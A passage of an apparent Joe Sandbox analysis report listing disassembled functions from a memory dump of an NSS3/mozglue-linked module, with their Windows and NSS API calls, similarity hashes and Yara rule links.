Part of subcall function 6BA8ADC0: free.MOZGLUE(85145F8B,?,?,?,?,6BA6CDBB,?,6BA6D079,00000000,00000001), ref: 6BA8AE7F
Part of subcall function 6BA8ADC0: TlsGetValue.KERNEL32(?,6BA6CDBB,?,6BA6D079,00000000,00000001), ref: 6BA8AEB1
Part of subcall function 6BA8ADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6BA6CDBB,?,6BA6D079,00000000,00000001), ref: 6BA8AEC9

SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,00000000,?,-00000001), ref: 6BA719B6

Part of subcall function 6BA9FAB0: free.MOZGLUE(?,-00000001,?,?,6BA3F673,00000000,00000000), ref: 6BA9FAC7

SECITEM_DupItem_Util.NSS3(-00000018), ref: 6BA719F2

Strings

E-v1, xrefs: 6BA71880
+@, xrefs: 6BA71971

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: K11_$Item_UtilValuememcpy$CriticalEnterFreeSectionfree$AllocDataDeriveExtractImportTemplateUnlockWithZfreememset
String ID: +@$E-v1
API String ID: 3144289787-3744174662
Opcode ID: c80897bb8bcfe59abb4e16b6694ebcf78fa0ecde34ff677b6b99fa7b4dd9af7b
Instruction ID: ae40d9f9838d6eca61aea440ab0f48eb170286f9fc7f03cca401a0c7d0837652
Opcode Fuzzy Hash: c80897bb8bcfe59abb4e16b6694ebcf78fa0ecde34ff677b6b99fa7b4dd9af7b
Instruction Fuzzy Hash: EC51D3B6908301ABDB10DF25C94176FBBE4EF88308F04892DF89897351F739D5848B92

Function 6BAAE8C0 Relevance: 22.9, APIs: 15, Instructions: 353memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(0000001C,?,6BAAE853,?,FFFFFFFF,?,?,6BAAB0CC,?,6BAAB4A0,?,00000000), ref: 6BAAE8D9

Part of subcall function 6BAA0D30: calloc.MOZGLUE ref: 6BAA0D50
Part of subcall function 6BAA0D30: TlsGetValue.KERNEL32 ref: 6BAA0D6D

Part of subcall function 6BAAC6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6BAADAE2,?), ref: 6BAAC6C2

PORT_ArenaMark_Util.NSS3(?), ref: 6BAAE972
PORT_ArenaMark_Util.NSS3(?), ref: 6BAAE9C2
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6BAAEA00
PORT_ArenaAlloc_Util.NSS3(?,-00000007), ref: 6BAAEA3F
SECOID_FindOIDByTag_Util.NSS3(00000010), ref: 6BAAEA5A
SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6BAAEA81
SECOID_SetAlgorithmID_Util.NSS3(?,?,00000010,00000000), ref: 6BAAEA9E
SECOID_FindOIDByTag_Util.NSS3(?), ref: 6BAAEACF
PK11_KeyGen.NSS3(00000000,-00000001,00000000,?,00000000), ref: 6BAAEB56
PK11_FreeSymKey.NSS3(00000000), ref: 6BAAEBC2
SECOID_FindOID_Util.NSS3(?), ref: 6BAAEBEC
free.MOZGLUE(00000000), ref: 6BAAEC58

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: Util$Find$ArenaTag_$AlgorithmAlloc_K11_Mark_$DestroyFreePublicValuecallocfree
String ID:
API String ID: 759478663-0
Opcode ID: 3766a5a631e038ad8587243185369b78e11652ef4f6ccba56cb4f5dbf1122397
Instruction ID: 8a306a3e6eb16165ca1207b4f439e7cce23c132c0668375c3dc06d7eebca4cf5
Opcode Fuzzy Hash: 3766a5a631e038ad8587243185369b78e11652ef4f6ccba56cb4f5dbf1122397
Instruction Fuzzy Hash: 41C181B1E102159FEF10CF68D985BAEB7F4AF08714F184469E906A7351E739E980CBB1

Function 6BA829A0 Relevance: 22.8, APIs: 15, Instructions: 292COMMON

Download Yara Rule

APIs

PK11_ImportPublicKey.NSS3(00000000,?,00000000,?,?,?,?,?,6BA56A5E,00000001,00000000,?,6BA56540,?,0000000D,00000000), ref: 6BA82A39
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,6BA56A5E,00000001,00000000,?,6BA56540,?,0000000D,00000000), ref: 6BA82A5B
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,6BA56A5E,00000001,00000000,?,6BA56540,?,0000000D), ref: 6BA82A6F
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6BA56A5E,00000001), ref: 6BA82AAD
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6BA56A5E,00000001,00000000), ref: 6BA82ACB
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6BA56A5E,00000001), ref: 6BA82ADF
PR_Unlock.NSS3(?), ref: 6BA82B38
PR_Unlock.NSS3(?), ref: 6BA82B8B

Part of subcall function 6BA307A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6B9C204A), ref: 6BA307AD
Part of subcall function 6BA307A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6B9C204A), ref: 6BA307CD
Part of subcall function 6BA307A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6B9C204A), ref: 6BA307D6
Part of subcall function 6BA307A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6B9C204A), ref: 6BA307E4
Part of subcall function 6BA307A0: TlsSetValue.KERNEL32(00000000,?,6B9C204A), ref: 6BA30864
Part of subcall function 6BA307A0: calloc.MOZGLUE(00000001,0000002C), ref: 6BA30880
Part of subcall function 6BA307A0: TlsSetValue.KERNEL32(00000000,?,?,6B9C204A), ref: 6BA308CB
Part of subcall function 6BA307A0: TlsGetValue.KERNEL32(?,?,6B9C204A), ref: 6BA308D7
Part of subcall function 6BA307A0: TlsGetValue.KERNEL32(?,?,6B9C204A), ref: 6BA308FB

PR_SetError.NSS3(FFFFE040,00000000,?,?,?,?,?,6BA56A5E,00000001,00000000,?,6BA56540,?,0000000D,00000000,?), ref: 6BA82CA2

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: Value$Unlock$CriticalEnterSectioncalloc$ErrorImportK11_Public
String ID:
API String ID: 2580468248-0
Opcode ID: 6b779e5c31f296ff050d834faf2c136683ed7b88bc499d927f4f1cd6ff56b247
Instruction ID: 6a13a3a8dfc942e71f1c7991c5903db7c66dc7ecc10eacc89d87ee6cce7bd57f
Opcode Fuzzy Hash: 6b779e5c31f296ff050d834faf2c136683ed7b88bc499d927f4f1cd6ff56b247
Instruction Fuzzy Hash: C3B1ADB5C00304AFDF109F68D985BBEB7B4FF49304F044569E845A7A11E73AE981CBA1

Function 6BA62980 Relevance: 22.7, APIs: 15, Instructions: 217COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6BA49E71,?,?,6BA5F03D), ref: 6BA629A2
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6BA49E71,?), ref: 6BA629B6
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6BA49E71,?,?,6BA5F03D), ref: 6BA629E2
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6BA49E71,?), ref: 6BA629F6
PL_HashTableLookup.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6BA49E71,?), ref: 6BA62A06
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6BA49E71), ref: 6BA62A13

Part of subcall function 6BAEDD70: TlsGetValue.KERNEL32 ref: 6BAEDD8C
Part of subcall function 6BAEDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6BAEDDB4

PR_Unlock.NSS3(?), ref: 6BA62A6A
TlsGetValue.KERNEL32 ref: 6BA62A98
EnterCriticalSection.KERNEL32(?), ref: 6BA62AAC
PL_HashTableLookup.NSS3(?,?), ref: 6BA62ABC
PR_Unlock.NSS3(?), ref: 6BA62AC9
TlsGetValue.KERNEL32 ref: 6BA62B3D
EnterCriticalSection.KERNEL32(?), ref: 6BA62B51
PL_HashTableLookup.NSS3(?,6BA49E71), ref: 6BA62B61
PR_Unlock.NSS3(?), ref: 6BA62B6E

Part of subcall function 6BA307A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6B9C204A), ref: 6BA307AD
Part of subcall function 6BA307A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6B9C204A), ref: 6BA307CD
Part of subcall function 6BA307A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6B9C204A), ref: 6BA307D6
Part of subcall function 6BA307A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6B9C204A), ref: 6BA307E4
Part of subcall function 6BA307A0: TlsSetValue.KERNEL32(00000000,?,6B9C204A), ref: 6BA30864
Part of subcall function 6BA307A0: calloc.MOZGLUE(00000001,0000002C), ref: 6BA30880
Part of subcall function 6BA307A0: TlsSetValue.KERNEL32(00000000,?,?,6B9C204A), ref: 6BA308CB
Part of subcall function 6BA307A0: TlsGetValue.KERNEL32(?,?,6B9C204A), ref: 6BA308D7
Part of subcall function 6BA307A0: TlsGetValue.KERNEL32(?,?,6B9C204A), ref: 6BA308FB

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: Value$CriticalSection$EnterUnlock$HashLookupTable$calloc$Leave
String ID:
API String ID: 2204204336-0
Opcode ID: cc49f54dd13c674a6b74a8124bef961d55d40d505126474489475330b12283e9
Instruction ID: 5760f388c752f3a9354c64f6e4ad87f29daccb3afff7917c2368994de4ce0dc6
Opcode Fuzzy Hash: cc49f54dd13c674a6b74a8124bef961d55d40d505126474489475330b12283e9
Instruction Fuzzy Hash: 707195B6C00604ABDF109F34DD4156A7B75EF56394B088564EC18DB212FB35E9D1CB91

Function 6BA93A00 Relevance: 22.7, APIs: 15, Instructions: 185COMMON

Download Yara Rule

APIs

PK11_GetAllTokens.NSS3(?,?,?,?,?,?,00000000,00000010,-00000001,?,6BA88A06,?), ref: 6BA93A36
TlsGetValue.KERNEL32(?,?,?,?,?,?,00000000,00000010,-00000001,?,6BA88A06,?), ref: 6BA93A55
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,00000000,00000010,-00000001,?,6BA88A06,?), ref: 6BA93A6E
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,00000000,00000010,-00000001,?,6BA88A06,?), ref: 6BA93A8D
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,00000000,00000010,-00000001,?,6BA88A06,?), ref: 6BA93ABB
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,00000010,-00000001,?,6BA88A06,?), ref: 6BA93AD8
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,00000000,00000010,-00000001,?,6BA88A06,?), ref: 6BA93B16
PK11_GetNextSafe.NSS3 ref: 6BA93B40
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,00000000,00000010,-00000001,?,6BA88A06,?), ref: 6BA93B6F
free.MOZGLUE ref: 6BA93BAC
PR_SetError.NSS3 ref: 6BA93BC3

Part of subcall function 6BAEC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6BAEC2BF

TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,00000000,00000010,-00000001,?,6BA88A06,?), ref: 6BA93BEA
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,00000010,-00000001,?,6BA88A06,?), ref: 6BA93C03
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,00000000,00000010,-00000001,?,6BA88A06,?), ref: 6BA93C24
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,00000000,00000010,-00000001,?,6BA88A06,?), ref: 6BA93C42

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: UnlockValue$CriticalEnterSection$K11_free$ErrorNextSafeTokens
String ID:
API String ID: 3037946918-0
Opcode ID: b978ae756aee72d8194a2eb9f0203aee074087d50fb5f66c7e5aa825c0ba4fbc
Instruction ID: 5d708cde578a062d86f1f3d28bd6c48e642c253242ca6ab0070b4a55e3214c0a
Opcode Fuzzy Hash: b978ae756aee72d8194a2eb9f0203aee074087d50fb5f66c7e5aa825c0ba4fbc
Instruction Fuzzy Hash: F07147B0914615CFDF10AF78D1856ADBBF0FF09314F058969D889AB310EB39E885DB92

Function 6BA2B860 Relevance: 22.7, APIs: 15, Instructions: 174COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000144,?,?,?,?,?,6BA2B45E,?,?,?,?,?,?,?,?), ref: 6BA2B87D
TlsGetValue.KERNEL32 ref: 6BA2B8FE
EnterCriticalSection.KERNEL32(?), ref: 6BA2B912
TlsGetValue.KERNEL32 ref: 6BA2B959
_PR_MD_UNLOCK.NSS3(?), ref: 6BA2B977
calloc.MOZGLUE(00000001,0000002C), ref: 6BA2B983
PR_NewCondVar.NSS3 ref: 6BA2B9B9
InitializeCriticalSectionAndSpinCount.KERNEL32(-00000040,000005DC,?,?), ref: 6BA2BA54
GetLastError.KERNEL32 ref: 6BA2BA5F
PR_SetError.NSS3(FFFFE890,00000000), ref: 6BA2BA77
DeleteCriticalSection.KERNEL32(?), ref: 6BA2BA96
free.MOZGLUE(?), ref: 6BA2BA9D
free.MOZGLUE(?), ref: 6BA2BAB3
DeleteCriticalSection.KERNEL32(?), ref: 6BA2BACD
free.MOZGLUE(00000000), ref: 6BA2BAD4

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: CriticalSection$free$DeleteErrorValuecalloc$CondCountEnterInitializeLastSpin
String ID:
API String ID: 1841981668-0
Opcode ID: bbbb9d00a9dfaf6c9318d06a2801440a80e66c689a3ea6d37db52c4072a512ae
Instruction ID: 9cb9a4149f709bbd6524c9bd048fb476081a4093304d9215e97fbd6cdc65fc9d
Opcode Fuzzy Hash: bbbb9d00a9dfaf6c9318d06a2801440a80e66c689a3ea6d37db52c4072a512ae
Instruction Fuzzy Hash: E251BDB19007019FEF109F39CD46B6A7BE4FF0A704F488629E85AD7241EB36E495CB91

Function 6BB54960 Relevance: 21.1, APIs: 14, Instructions: 121COMMON

Download Yara Rule

APIs

malloc.MOZGLUE(00000004,?,6BB58061,?,?,?,?), ref: 6BB5497D
OpenSemaphoreA.KERNEL32(00100002,00000000,?), ref: 6BB5499E
GetLastError.KERNEL32(?,?,6BB58061,?,?,?,?), ref: 6BB549AC
PR_SetError.NSS3(FFFFE8C2,0000007B,?,?,6BB58061,?,?,?,?), ref: 6BB549C2

Part of subcall function 6BAEC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6BAEC2BF

PR_SetError.NSS3(FFFFE890,00000000,?,?,6BB58061,?,?,?,?), ref: 6BB549D6
CreateSemaphoreA.KERNEL32(00000000,6BB58061,7FFFFFFF,?), ref: 6BB54A19
GetLastError.KERNEL32(?,?,?,?,6BB58061,?,?,?,?), ref: 6BB54A30
PR_SetError.NSS3(FFFFE8C9,000000B7,?,?,?,?,6BB58061,?,?,?,?), ref: 6BB54A49
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,6BB58061,?,?,?,?), ref: 6BB54A52
GetLastError.KERNEL32(?,?,?,?,6BB58061,?,?,?,?), ref: 6BB54A5A
free.MOZGLUE(00000000,?,?,?,?,?,6BB58061,?,?,?,?), ref: 6BB54A6A
CreateSemaphoreA.KERNEL32(?,6BB58061,7FFFFFFF,?), ref: 6BB54A9A
free.MOZGLUE(?,?,?,?,?,6BB58061,?,?,?,?), ref: 6BB54AAE
free.MOZGLUE(?,?,?,?,?,6BB58061,?,?,?,?), ref: 6BB54AC2

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: Error$LastSemaphorefree$Create$CloseHandleOpenValuemalloc
String ID:
API String ID: 2092618053-0
Opcode ID: 9f913b256d03e31a9a74dba2a49a8aa594b78a0a6fab640db072c2b140e4c3a1
Instruction ID: 2ba976dbade648072e42b1178e76b28bbf090038c4021fac1f22af0d060aaf28
Opcode Fuzzy Hash: 9f913b256d03e31a9a74dba2a49a8aa594b78a0a6fab640db072c2b140e4c3a1
Instruction Fuzzy Hash: 5E41E771A002459FDF00EFB8CD85B5E7BB8EB4A715F400028F919A7245EB39D825C776

Function 6BB5C8A0 Relevance: 21.1, APIs: 14, Instructions: 94stringCOMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000020), ref: 6BB5C8B9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6BB5C8DA
malloc.MOZGLUE(00000001), ref: 6BB5C8E4
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6BB5C8F8
PR_NewLock.NSS3 ref: 6BB5C909
PR_NewCondVar.NSS3(00000000), ref: 6BB5C918
PR_NewCondVar.NSS3(00000000), ref: 6BB5C92A

Part of subcall function 6BA30F00: PR_GetPageSize.NSS3(6BA30936,FFFFE8AE,?,6B9C16B7,00000000,?,6BA30936,00000000,?,6B9C204A), ref: 6BA30F1B
Part of subcall function 6BA30F00: PR_NewLogModule.NSS3(clock,6BA30936,FFFFE8AE,?,6B9C16B7,00000000,?,6BA30936,00000000,?,6B9C204A), ref: 6BA30F25

free.MOZGLUE(00000000), ref: 6BB5C947

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: Cond$LockModulePageSizecallocfreemallocstrcpystrlen
String ID:
API String ID: 2931242645-0
Opcode ID: cf38606e7aa31850b1970fb6ed683de74b739563b18aa2a8d280a97a5be9f945
Instruction ID: 788ff120f18c71f4ade04b07d1a4bade2e06fb5ee75c98ae2eef0baaacf26b5f
Opcode Fuzzy Hash: cf38606e7aa31850b1970fb6ed683de74b739563b18aa2a8d280a97a5be9f945
Instruction Fuzzy Hash: 00210AF29007429FEB11AF789C0566F77ACEF06654F040538E85AC3201EB3AE525CBA7

Function 6BA95800 Relevance: 19.7, APIs: 13, Instructions: 227COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6BA95857
EnterCriticalSection.KERNEL32(?), ref: 6BA9586B
PR_Unlock.NSS3(?), ref: 6BA95888
TlsGetValue.KERNEL32 ref: 6BA958B9
EnterCriticalSection.KERNEL32(?), ref: 6BA958CD
PR_Unlock.NSS3(?), ref: 6BA958E9

Part of subcall function 6BA95530: TlsGetValue.KERNEL32(?,?,?,00000000,?,6BA95915,?), ref: 6BA95556
Part of subcall function 6BA95530: EnterCriticalSection.KERNEL32(?,?,?,?,00000000,?,6BA95915,?), ref: 6BA9556F
Part of subcall function 6BA95530: PR_Unlock.NSS3(?,?,?,?,?), ref: 6BA9559C
Part of subcall function 6BA95530: SECMOD_UpdateSlotList.NSS3(?,?,?,?,?), ref: 6BA955A4
Part of subcall function 6BA95530: PR_Sleep.NSS3(?,?,?,?), ref: 6BA95643
Part of subcall function 6BA95530: TlsGetValue.KERNEL32(?,?,?,?), ref: 6BA95653
Part of subcall function 6BA95530: EnterCriticalSection.KERNEL32(?,?,?,?,?), ref: 6BA95668

PR_SetError.NSS3(FFFFE098,00000000), ref: 6BA95934
PR_SetError.NSS3(FFFFE09A,00000000), ref: 6BA959AA
SECMOD_UpdateSlotList.NSS3(?), ref: 6BA959B3
TlsGetValue.KERNEL32 ref: 6BA95A4D
EnterCriticalSection.KERNEL32(?), ref: 6BA95A61
PR_Unlock.NSS3(?), ref: 6BA95A7A

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: CriticalEnterSectionValue$Unlock$ErrorListSlotUpdate$Sleep
String ID:
API String ID: 1180358131-0
Opcode ID: f6fb49c5d3ec0b9c7e38836e164a142918f3df47b23b8c80e361c644f4228a7f
Instruction ID: fd818c945e3f6b0d690df493a84b977a6b06767399b0c9f272cb03505fad2792
Opcode Fuzzy Hash: f6fb49c5d3ec0b9c7e38836e164a142918f3df47b23b8c80e361c644f4228a7f
Instruction Fuzzy Hash: 978117B1D107019BEF10AF38ED8362E77E5BF45319F084528DA4687351EB36E991DB81

Function 6BB5ABB0 Relevance: 19.7, APIs: 13, Instructions: 173COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6BB5ABD5
_PR_MD_UNLOCK.NSS3(?), ref: 6BB5AC21

Part of subcall function 6BB070F0: LeaveCriticalSection.KERNEL32(6BB50C7B), ref: 6BB0710D

EnterCriticalSection.KERNEL32(?), ref: 6BB5AC44
_PR_MD_NOTIFY_CV.NSS3(-00000074), ref: 6BB5AC6E
_PR_MD_UNLOCK.NSS3(?), ref: 6BB5AC97
EnterCriticalSection.KERNEL32(?), ref: 6BB5ACBF
PR_NewCondVar.NSS3(?), ref: 6BB5ACDB
_PR_MD_UNLOCK.NSS3(?), ref: 6BB5AD0D
PR_SetPollableEvent.NSS3(?), ref: 6BB5AD18
EnterCriticalSection.KERNEL32(?), ref: 6BB5AD31

Part of subcall function 6BB09890: TlsGetValue.KERNEL32(?,?,?,6BB097EB), ref: 6BB0989E

_PR_MD_UNLOCK.NSS3(?), ref: 6BB5AD89
PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6BB5AD98
_PR_MD_UNLOCK.NSS3(?), ref: 6BB5ADC5

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: CriticalSection$Enter$CondErrorEventLeavePollableValue
String ID:
API String ID: 829741924-0
Opcode ID: 2c310cccbecf4fc2549b39d95eb9517780c944a9a573ea0e0dbf29e4ddaca4bb
Instruction ID: 063885d79975f2817ce3e63ed4a6225a9b09869755d7789b5d32f48963e7c183
